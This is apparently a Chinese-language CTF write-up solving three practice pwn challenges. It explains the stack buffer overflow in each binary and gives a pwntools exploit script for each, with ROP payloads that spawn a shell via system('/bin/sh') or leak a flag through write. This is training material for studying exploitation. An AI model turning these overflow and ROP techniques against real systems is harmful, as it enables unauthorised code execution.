1.jarvisoj_level2_x64
2.[HarekazeCTF2019]baby_rop
3.not_the_same_3dsctf_2016
1.jarvisoj_level2_x64:
先checksec:
64位,开启了NX保护。用ida64打开:
进入function函数:
看见read函数,存在溢出,f12,发现/bin/sh,更进:
在ida右侧可以知道system的函数地址,所以可以构造payload,获取shell,代码:
from pwn import*
io = remote('node4.buuoj.cn',26749)
#payload = b'a'*(0x80+8) + p64(0x4006b3) + p64(0x40063e) + p64(0x600a90)
payload = b'a'*(0x80+8) + p64(0x4006b3) + p64(0x600a90) + p64(0x40063e)
io.recvline()
io.sendline(payload)
io.interactive()
在system和/bin/sh的地址之间还需要插入一个地址。
2.[HarekazeCTF2019]baby_rop
也是64位,ida64打开,找到main:
scanf函数,存在溢出漏洞,有system函数,f12,发现/bin/sh。
和上一题一样的解法,构造payload,
from pwn import*
io = remote('node4.buuoj.cn',28299)
payload = b'a'*(0x10+8) + p64(0x400683) + p64(0x601048) + p64(0x400490)
io.sendline(payload)
io.interactive()
获取shell,得到flag。
3.not_the_same_3dsctf_2016:
ida打开:
gets函数,没有限制输入个数,存在溢出,f12,没有发现/bin/sh,但有一个flag.txt, 在get_secret函数里面。fpoen打开了flag.txt,并存入了v0,fget又把v0赋给了fl4g,并且fl4g在bss字段上面。因为该程序里面存在write函数,因此,可以通过write函数读取bss字段的fl4g,得到flag。
代码:
from pwn import *
#io = process('./not_the_same_2016')
io = remote('node4.buuoj.cn',27884)
get_sercet_addr = 0x80489a0
write_addr = 0x806e270
flag_bss = 0x80eca2d
payload = b'a'*(0x2d) + p32(get_sercet_addr) + p32(write_addr) + b'a'*4 + p32(1) + p32(flag_bss) + p32(45)
io.sendline(payload)
io.interactive()